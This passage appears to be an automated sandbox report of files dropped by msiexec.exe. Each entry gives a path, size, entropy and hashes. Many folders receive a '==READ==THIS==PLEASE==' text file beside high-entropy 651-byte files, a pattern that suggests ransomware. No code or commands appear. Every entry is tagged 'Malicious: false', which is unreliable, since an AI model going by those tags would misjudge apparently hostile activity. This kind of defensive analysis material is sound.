SHA-512:	DFBEEB7904BA62E383952DD10369DEC4773BCEC20EBE137D59003604D8178E7C56F4CE7EA60EDCB50EB156D653A1D20CC2FF693674FF08F37E57E1C3172211C8
Malicious:	false

C:\Program Files (x86)\Windows Sidebar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Windows Sidebar\settings.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688139274731686
Encrypted:	false
MD5:	F73F94358C49422452A3BC710A2675A1
SHA1:	2708CD42068E34DAB028F55CE628E4838FA464CF
SHA-256:	857D1318FD24C2B1ABF0431F3A6C5A12F4DFA198567C06E765036487E36122E7
SHA-512:	E8B3DF5E034A5B574EFF084ED9E38B8D64823064AC43AE60C240879B00AA98F47FA79D2B4A39A2CB40C1717F318A3C690D24DDBAE0789979D61A5BEEA931943F
Malicious:	false

C:\Program Files (x86)\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670830211622407
Encrypted:	false
MD5:	B51474C1EDFE17262535ABA530845107
SHA1:	F50D4C0DA4850ECC9CB62EEBF41DBBE48E21212C
SHA-256:	97F552F74E371789431F1101214087BB493BA35D8B276F4C0B0828FC4FD32D12
SHA-512:	97C1E475AEA1D8A296D0B4921ACB688EEDC25A81EC9DDBFC9EDE00381D3C7EB902409F0D4B91F244165F2BBC8005B2D230BF931D3363E11461C032E4A5FD2E3B
Malicious:	false

C:\ProgramData\Adobe\ARM\Reader_10.1.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Adobe\ARM\Reader_10.1.0\AdobeARM.bin
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704930927230781
Encrypted:	false
MD5:	FE482ADCB9C29FC07BA9E341AB576011
SHA1:	DD37E1448972D6D5C02C28BA5EE8F5BB8587EEBF
SHA-256:	7B3C2CC92F80950C15C439CFC0538FE8EF4FF4BC616118AEA5C44BFC358BCA52
SHA-512:	672872453E7725C78ED500E380F545B5EDFE6810DFE7DECDCA37DEF2A49C58941C285EC4CA557A1A42E9E2D997B979054516F0BDD5CFA630B0C4ACDEE11FC91C
Malicious:	false

C:\ProgramData\Adobe\Acrobat\11.0\Replicate\Security\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Adobe\Acrobat\11.0\Replicate\Security\directories.acrodata
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6878173852414
Encrypted:	false
MD5:	FCA3F25AF2916CA4499011258C67EE3E
SHA1:	D02E19DF84D05796E419F0A498DD48739BE0506A
SHA-256:	4C181403A8A7687FA672DA36FC06EB2B0A0E3C60F271D584DB3816198274C548
SHA-512:	1B5FCE24D0044AA560EAB99ECE6FF850763AE81B67EF57C4A74F169278E574FD6678A607B6BE91EA1D7BD6A347A4F718AF1C6C7E84BC04E35F5CD3F566755E81
Malicious:	false

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AB0000000001}\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AB0000000001}\ABCPY.INI
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.658641166409307
Encrypted:	false
MD5:	C759B86C46F8161528D035E1E056FEC7
SHA1:	FF83ECA7C7F7A7716F2DCE0C7C5CD16F6D78E72E
SHA-256:	A2434321BB7B2471263AB0BEEFD917FA5BB163D5DC4CD2561389F663C90D3090
SHA-512:	80645B1192B2D9393EC6974812ECFF5248CB2BFDC6A9CE398CFD6E0DE98DCA5499DCBB1DE88A2E5DA82769F676B9EBDBB6EB407DB048C007A685359EBD7C5220
Malicious:	false

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AB0000000001}\AdbeRdrSecUpd11008.msp
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699450694641989
Encrypted:	false
MD5:	C4831B523ECD7CFC129627FA98805F1B
SHA1:	5B43E72D0204F10AE75BD06D80728A291D09B6BB
SHA-256:	256F049484E4A9886328B6531803BDC4694B673D7A8AF28AF707AD03D4C4D0CB
SHA-512:	2CE42E8D07B22BF259C0786A7C2C9D4D416E1513B3A515463A1FAE29E3326D2032A6A2280ECB0189E9BC236BBE47FF71AFDFC815EDDC142583F3D1F07C3B464E
Malicious:	false

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AB0000000001}\AdbeRdrUpd11007.msp
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705312878191583
Encrypted:	false
MD5:	3669017C8A0CBD37FC9D8F5B8F951613
SHA1:	BA1FAD8F319178E9EFD2A62DD755182F05CDE8F2
SHA-256:	11BD65A8F1D946D7B35D931D9445998705A968EC015C543DFF8D8699E8DE8B4D
SHA-512:	DBC059C4E7068D735E551227816E16E370A32E217A9180E4E9CC0E3B9B08CD64F456079B67C8C21D1E75F74D5B3B79C49829C9FB5B355DC9AF0191CEBC82A90F
Malicious:	false

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AB0000000001}\Setup.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679482635678854
Encrypted:	false
MD5:	7E7B39858D6B82F6E8A62CB3309B11D4
SHA1:	3F951AABB48A1B0EF083ED0E1EC75AB68B9B13F1
SHA-256:	3961367834C92FE91E03CE1992B2DD92585C30A141F473AEDB1C6EAE6BC46DF8
SHA-512:	2DC79CC4703CECF723C5F63453E31D7653E7940548242A0AB3A1BEB8FD86FF498AD452BC0C313CA17916D65E8640D5F2515410F26BF926CCF01DA76A96B1BFE2
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703335986520616
Encrypted:	false
MD5:	06C08BE6B5A09D72DFAD38580484DB71
SHA1:	95B3CFEE199124D1D10457D507BFE699E62F55FE
SHA-256:	215600874F961DCF82B308FC662D85E30D32DEFB37659EC3C26426F6B094956B
SHA-512:	D596337F33CC80B69F731B53D106DF37F2620B09A7F8BDFAC4A85FED9B7FC8679A2232AAFEE33AEC3B92A5BB6FEB96E3D64CFD9917D8917EFDFE21DBDC056DBF
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_MKWD_AssetId.H1W
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.684069329867272
Encrypted:	false
MD5:	AA28295B93E5F63F3E7A3C30A8DBABA2
SHA1:	6B3142A9308B4505D543D6E34BA45D2E4D4EC39A
SHA-256:	5C03A52DA2903B87533880B988EF77B5E7AF50CDF906EA29502C392C0F98ABCA
SHA-512:	267AB18AE4F3ECEBAE22E63A56C5010E878C0CD1BC9F40AD99F9142580E5BB71CDAD921D50B71AAD385AB7A1352BCDD60C3A93AB6E69717D57CF7D3C23DDCA96
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_MKWD_BestBet.H1W
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7026720794460655
Encrypted:	false
MD5:	5415FBA1B54452EA2318EA6711F584BF
SHA1:	98AB29C97D890118EBB76E6BAB0212CD84868BC6
SHA-256:	344FE4CC9CA71ADD8E6C7EA3085EB8EC3CF5F94E3FA0484200D8596F38B00126
SHA-512:	B9DDAA3BFCB98C8449F6D06B0BEB652C4BEA721886AA9E492259E7CF43BBBAE1840632DF703F43531B1BA46B286431B472538AB974D46B656046B4CD9326C29E
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_MTOC_help.H1H
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692093058073636
Encrypted:	false
MD5:	E61D1ADCF86F5D3F2EB08EFC0A7BDCAF
SHA1:	49F9C493D7E82395469398C87DC11C827351CC0D
SHA-256:	C98A58896A5E7CBD5C6A4DF97389DC4E59E3CF034DA3EBDA5C8E0F3D19540D5E
SHA-512:	A64B3E80F7EB0D2451AA01059A381DE779DD762C67A5C02825D4C2ACA691B1EED805C55108C66EBDC03636B15745AD1016EA02F29FB3DBA172E89B3F811CF0E5
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help_MValidator.H1D
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671954328236632
Encrypted:	false
MD5:	E2E4B0CF3840EB28779A93266E7C4F0F
SHA1:	8018C931329BB9F9D37F4CD337C30F5A2281336C
SHA-256:	2F92A0D506DAE32A259A57C79271B43D07C04281EA71C79C1A95329DEDDF3D32
SHA-512:	754CFEC637B4DBE1CCB7B584CC9C04282529F1F27FBAE23948A5345B2648EA909C9FC14D27D2A296455822EDE0F24BEF6ACED13EF18782AD05AD97CD98AD7CA1
Malicious:	false

C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.724805898062387
Encrypted:	false
MD5:	84CCD1FDCC3E000AE0A2D47107C52696
SHA1:	76CDE5307C93245E0D6AF126174EBB6FF09CDC75
SHA-256:	79576144F2184562B5E668AA98C908E55FB67CB1FCD31EAF19C2656489887050
SHA-512:	379D84156A85E81140C774122B816E97DE9413FA0DE922D8A3CA03E2B549776BC291DA986A331A6F5291E1D0B1D24B7068B7683B3E2E5FD67E33F2FED6735CD5
Malicious:	false

C:\ProgramData\Microsoft\Crypto\Keys\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Crypto\Keys\ced3b52592afbceb2b2bc4f875451b5a_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653905449278053
Encrypted:	false
MD5:	05E280F2BFBAC64928FF1C61E2237F14
SHA1:	D1138502DC79236C959427B6EC8F49419B3FD723
SHA-256:	38831B7C33B4A715267EC05263B727BF8DEED97D8DFDFE41F07FDF31F4AB0976
SHA-512:	EB2AC357AB042F02432126C7F50BFCF7B8C9EF5B12972D197128081E112650BC33E36804F7EB96F08A6F67FA92BA664CBD2D30F3853E512E9DE3025BBB60D704
Malicious:	false

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\5d91c0b736f4f8dbdd317cf8a037fced_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.64978951339225
Encrypted:	false
MD5:	CBBAF1555F9500565C588AB97ED35597
SHA1:	D06F3B8270AF0FFA873057405ED8F4739AD17409
SHA-256:	98A449B627B9CABAB34630CFAF2BB6D94A2426DBC09CDBBC62733D96EB392627
SHA-512:	DEC0D91E678FD5F900FF9E088ADA0E8DB42060759DE4C25A8082B890F5F266183A3B55BF727E3194C3A036CC157B08D0B8455FD8AD6A1B91774BFA13FAF6294A
Malicious:	false

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\6d14e4b1d8ca773bab785d1be032546e_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.673569904196441
Encrypted:	false
MD5:	34CB8F46DF1DD70DCFF69DD0FF142AD2
SHA1:	527056D75A1DAB6672F813019EA0A4717E2C5A1D
SHA-256:	0AA778BD72BAB00339C0FE36279DA29C07F636932D8E6280BE64DC346A3EAA3E
SHA-512:	C4DFA096B636E95E4D729E4A5B289733865838345A30775243E8EE12D978B7CBF7593F83002915B57ABE27DA999BECB73D06957FF33B4424CDBFBAC176237428
Malicious:	false

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\d42cc0c3858a58db2db37658219e6400_7e2fc311-73fb-42ad-a063-76a00c81bd47
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6322660562181674
Encrypted:	false
MD5:	0A1D674374547BBE6B2EC0F50C1AA1EE
SHA1:	C7DDA6677F826AB07A15DF6BE898D53746022C51
SHA-256:	508C243C3EF3021546EC1C3DE5468015900A522C7625CF2E5AD3E2CA6E3C993D
SHA-512:	663018899AF139BB31F1B8BFBDBB589258A37FAC0BAE75FE6BD609C9085CEF4FA8202929B815B5589FEEB5D0563D3B8944D784B547ECE57A55A7077BDB12B13A
Malicious:	false

C:\ProgramData\Microsoft\Event Viewer\Windows Logs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Event Viewer\Windows Logs\Channel_0.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7102046018846835
Encrypted:	false
MD5:	173EB825E632BF67382AA96305237685
SHA1:	6B635CA13BC86B5B2F20B9DD7E77704E3B89F1BC
SHA-256:	B3D1C04D895CA478507BABB178648E0C90C930771C96D73799F626FCF62D1909
SHA-512:	B670C5B86E0F4C0AB15603541A4D9B0C138B853CF74FD90FC245F7032C60CB983BE413FBF77CC1E1F362950E7FF5D14BD244D6B2D8311BDD0F09D87136D3F364
Malicious:	false

C:\ProgramData\Microsoft\Event Viewer\Windows Logs\Channel_1.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693166880332879
Encrypted:	false
MD5:	7F975C2BFE3B424627A40F189E900A50
SHA1:	2345BE272A790C3DF65A7CBED35D021250B13AF8
SHA-256:	97EB1DA1A1D30623024429ABB4B3CB30DDC57F065688C91F852875D6701D2303
SHA-512:	F7A23AFD9A4729E0A7F056577FF1E3E060EE64208896EE6183AE64A67C7E05698531C89F55671FC409546AB278759B5F8FBADFE4820BF292218775F74054CAD3
Malicious:	false

C:\ProgramData\Microsoft\IlsCache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\IlsCache\ilrcache.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695039815738216
Encrypted:	false
MD5:	CD0BA322AC36992B59F08CCBAF24A701
SHA1:	92420CC24B6B6F948AC002072170F77B12DD53AD
SHA-256:	B5AF31A01FB591B198A61AC0C474F9C82A15F6B5BF8D5F36F1240D86C8943739
SHA-512:	E688067DEA979D498861485F23497869C803EBE0B85AC66D7B096E81696309A924EA9746DA4B2689C4C6D38A52508C9763C10275F2333C474762EC4770D50252
Malicious:	false

C:\ProgramData\Microsoft\IlsCache\imcrcache.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701576774496449
Encrypted:	false
MD5:	164743920403C857D45CC3C074C99C2A
SHA1:	80F32432A900B2688F75212125305C83DC9A87D2
SHA-256:	70273F9B75B8A214E1A983288A817647725834A3BFA958C8EEAF652A064533CE
SHA-512:	B9B7C7883CD5A7B199F8B716B480AC8992888C0485B7BA0CF928004A419B4E30D7054E20DAD47BD0869D9DB70EFFE01ADFA98EC25F25EC1E0914A80CF98AA996
Malicious:	false

C:\ProgramData\Microsoft\MF\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\MF\Active.GRL
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.747045263644918
Encrypted:	false
MD5:	D2AC99CD4A65239BE2C7600A1B6EF417
SHA1:	0E73099FBDDD76A114B156337E429D174F04F013
SHA-256:	EA8BEBF365072D86476A907BF662C3E81A22726EB354540B1EB89DFC62115292
SHA-512:	3A62E60D2B09EF5DB011F448B72724B0BC9FD00B39944B1D7371B99F05E698A346D379AABBF0371E4945054F11EDFC72F2846807D0955DF1F99CC661E25ADD9F
Malicious:	false

C:\ProgramData\Microsoft\MF\Pending.GRL
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6942876293914235
Encrypted:	false
MD5:	08F252CA8F2C7251E8239F779F36EA51
SHA1:	DF8A01C9D32AB81DF21BBEEE09DEB176B1D608AB
SHA-256:	1DC19CB792C33E9844896A128E0C6F1C0811C24793D720072D8684B5A7561117
SHA-512:	1B9173B27F0A085F53D709A45C0468D59670CB77AFB990BC58B54BED9E9A8FFDF41F38762436E18BBBA4AAC5CFC8D88CA33D38E331A5F375C84B0726AF920B74
Malicious:	false

C:\ProgramData\Microsoft\Network\Downloader\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.639280320605869
Encrypted:	false
MD5:	E30855F1AC35C3518513F12FD2D54A24
SHA1:	439D4F53D3615F2C2F3CCA42EAB5F08DC2AEBCB3
SHA-256:	DB86C3C13442676211710E633E6E996BFEC6B15E58AA04725ED5A951C171A9B8
SHA-512:	C76D224FFF8CFE29E6D36E9BC2AAA54FB4F4852620F5720B4D6B69CD32EB9269BD41A24716E2E866D30150641D43BEF708178B0340516D6B79FA02B473F286AA
Malicious:	false

C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6654388521687595
Encrypted:	false
MD5:	6ED59D250F645464C052EEAFE3315663
SHA1:	98FC7638B3E26F2DA0EC95902CA1A53EA55E2008
SHA-256:	23929A2FDDD3B823AE4D59CD25D7F79B2CCCCAFE3A55DA6E3C05DE6E11C4F8FE
SHA-512:	01B6127A92CF9D82DEEF5D67D614E453A554E6DFAE6FF0ACD9424374ECFD97576EC59725D1D5728E163E3180EE6F27927BA32C1107E58B56296161932FA7A803
Malicious:	false

C:\ProgramData\Microsoft\OFFICE\DATA\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\OFFICE\DATA\OPA11.BAK
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699128805151701
Encrypted:	false
MD5:	617AAD05DBEFF6DBA8E1BC238DB9C50E
SHA1:	99129AB89E6873C3AB84F6FFC316422F171DB77D
SHA-256:	9E89F12F99997FD4A1A4536A4FE3A64EB9EB5B908D7D0680AEFCD91CAAE019B4
SHA-512:	2D59F8C50E68BEBF7D4D6CD124C8191C9708F74602571A54E2135593DED5BE109411ABAB42FD675594DB219773C779AC96F7308323363924BBBFE06633C98C9C
Malicious:	false

C:\ProgramData\Microsoft\OFFICE\DATA\opa11.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670463343792114
Encrypted:	false
MD5:	D9455950FC3F9A477E120258F7F12EDB
SHA1:	852E0A196315A2E4B845876B3ADC0464DCB46BFD
SHA-256:	DC00286F722BBC24D2F89F0516A93CFDA62223183F764E6ACA0EBCB7A2E6DB18
SHA-512:	553EE3D98C6298CC07F79528CC0AFE7A50C5E9EAC51783B5BE11F93DCF5A7DC7A24D3B4841F49863585A44DB49C4D1D4CCAC31FCC1D7B77E65321812AF307D51
Malicious:	false

C:\ProgramData\Microsoft\RAC\PublishedData\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663019948066465
Encrypted:	false
MD5:	E79B6F3F87101A85046759ECC662095C
SHA1:	5D57F3C0A78B57CADBBC1E058D1B21A0D951CB2A
SHA-256:	12545895241A0C021F85190E9D4BEC0DD477F1DE4252B820CA59ACA8284F8A12
SHA-512:	FE5FCA1BC2B8017B634DA19CA3E0864511A94ADF90D91F32D7937360FC012C979F1D55FA500152CA26838BEE1EDF3DC1A2281CD0AF8DCC8988FD0648F06129DB
Malicious:	false

C:\ProgramData\Microsoft\RAC\StateData\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\RAC\StateData\RacDatabase.sdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.680764370469371
Encrypted:	false
MD5:	58C8224A89D22C32CAED1E84250FA9D8
SHA1:	58D7C9C3C9E3F0607569EBAD12B2F65B9D74C59C
SHA-256:	08FDC2CF146D5385CEAB78E1C9475E1B2E8144E9CF1289A97315E97DC0EAFE5B
SHA-512:	B4384864CB48F9AF2380BAA96F67681D27397CBD3F6DFD09222D7F0D70DBA83C817589E7A8E1B497EE96FB5AFEB33E7D2390E8FA909115093E43825A8DDE7D99
Malicious:	false

C:\ProgramData\Microsoft\RAC\StateData\RacWmiDataBookmarks.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.708214657516157
Encrypted:	false
MD5:	AE98A9718757B695CBDAB77654F3FAE5
SHA1:	233A4BE80FDB643081E92811C34A84F5A5A074FB
SHA-256:	FE8C1C0F5CE9F2D218BEB50F2BD019F35D61DC75B2BFA81EE5D64CA42EC38A38
SHA-512:	5DD353D45F3A6B1C1CB5F5E1061535C1943CC3E23DD95D77256C0A3D9C9B8B39F3A4C6AD5345C5126F3D502C00980F2CA804DEFFE5CE1C2AE7A49BE958683D0D
Malicious:	false

C:\ProgramData\Microsoft\RAC\StateData\RacWmiEventData.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
